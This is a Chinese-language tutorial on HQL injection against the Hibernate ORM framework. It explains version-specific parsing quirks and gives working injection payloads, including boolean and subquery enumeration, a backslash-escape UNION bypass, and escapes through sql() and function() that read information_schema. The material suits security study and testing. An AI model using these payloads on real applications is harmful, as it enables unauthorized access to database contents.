HQL注入(Hibernate框架)
Hibernate是一种ORM框架,它是支持使用原生SQL或HQL语言(Hibernate框架自己的语言)进行SQL操作的
通常使用Hibernate框架都是使用HQL语言方式进行查询
1、原生SQL语句
1
2
3
| String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema=?");
query.setParameter(1, parameter);
|
2、HQL语句
将数据库tables映射为相关的类,通过此类进行数据查询,使用的是HQL自己的语言
1
2
3
| String parameter = req.getParameter("name");
Query query = session.createQuery("from com.demo.bean.User where tableschema = ?1", User.class);
query.setParameter(1, parameter);
|
1、Hibernate框架首先会去解析createQuery()函数中语句是否符合HQL语法,不符合则会HQL语法错误
2、符合HQL语法后,HQL框架会将语句解析成对应数据库的原生SQL语句
3、最后将原生SQL语句去数据库中进行查询获取结果,此时原生SQL语句如果不正确则会导致数据库层面的报错(不同数据库则是不同的报错了)
1
2
3
| 1、information_schema.tables表名映射为com.demo.bean.User类
2、table_name字段映射为tablename
3、table_schema字段映射为tableschema
|
简单HQL层面注入
union查询在5.6.15版本之前不支持
1
| name=mysql' union select 1,'2 #报错
|
6.x版本开始支持union查询,但是也只能利用HQL语法
1
| name=mysql' union from User where '1'='1
|
不能使用单行注释#或+--+
1
2
3
| ?name=mysql'and/**/'1'='1'+--+ #报错
?name=mysql'and/**/'1'='1'# #报错
?name=mysql'and#%0d%0a'1'='1 #报错
|
不支持*查询
1
| ?name=mysql' and (select * from User where tablename='user')='user
|
怎么查询:
1、如果有报错信息的话,那就根据报错回显去看表名、列名,根据表名进行盲注或报错注入查询数据。或者根据回显去猜测可能存在的表名和列名,然后进行查询数据
2、如果没有报错信息的话
使用and或or进行列名的枚举
1
| ?name=mysql' and xxxxx = '1
|
使用子查询进行表名枚举
1
| ?name=mysql'or+(select+1+from+XXXX+where+1=2)='1
|
HQL注入的常见类型可以总结为两种:布尔盲注和报错注入。
HQL注入需要两次or
逃逸HQL层面注入
低于5.x版本逃逸
1、在5.6.15之前,WHERE子句中是可以使用用户自定义函数的,这就说明数据库本身的函数也是可以使用的
1
2
| updatexml()
version()
|
2、在5.6.15版本之前,存在着对单引号转义的差异导致的逃逸问题
在HQL语言,字符串和常规SQL语句一样都是使用单引号包裹
1
| from Tables where name = 'mysql'
|
引擎是不会对字符串里面的内容进行解析的
当在字符串中加入一个转译字符
1
| from Tables where name = 'mysql\'
|
HQL引擎是不识别转译字符\的,它会将tony\作为一个字符串,原封不动的转为mysql语句
此处就导致了一个差异,mysql是识别转译字符的,所以爆了语法错误
然后利用这个差异,构造一个HQL以为是字符串,但转为mysql变成语句的POC即可
1
| mysql\''and+1=2+union+select+user(),version()#
|
拼接HQL语句,此时mysql\''and+1=2+union+select+user(),version()#是一整个字符串,所以引擎不去解析
1
| from Tables where name = 'mysql\''and+1=2+union+select+user(),version()#'
|
转为sql语句,这样就在低于5.x的版本实现用union进行注入
高于6.x 版本逃逸
1、从6.0.1.Final版本开始,测试发现转译符\失效
所以无法用\来逃逸
2、在6.x版本中发现新增了一个sql()函数,在5.x版本是不支持的
意思就是可以执行SQL语句,主要是两种方式
1
2
| sql('select 1,2,3')
sql('select 1,2,?','3')
|
1、第一种是将函数里面的字符串直接拼接SQL语句中,然后去执行
2、第二种就是将后面参数预编译替换占位符?,然后再拼接到SQL语句中执行
1
| ?name=mysql' and sql('1=2 union select table_name,table_schema from information_schema.tables#')='1
|
通用版本逃逸
有一个函数在5.x和6.x都能使用,那就是JPQL语言的function()函数
在Hibernate框架中是同时支持JPQL语言和HQL语言的
function()函数是用来调用自定义函数或数据库自带函数的,和某些动态函数调用差不多吧
1
2
3
4
| function('version') => version()
function('updatexml',1,1,1) => updatexml(1,1,1)
function('aaaa''bbbb',1,1,1) => aaaa''bbbb(1,1,1) 5.x版本
function('aaaa''bbbb',1,1,1) => aaaa'bbbb(1,1,1) 6.x版本
|
它首先将第一参数作为函数名,随后拼接一个括号,后面的参数则是括号里的内容
而function()函数的利用和sql()函数一样,是直接拼接在解析后的SQL语句中的,而且第一参数的内容没有任何限制
这样就可以构造一个可利用POC了
1
| ?name=mysql' and function('1=2 union select table_name,table_schema from information_schema.tables#')='
|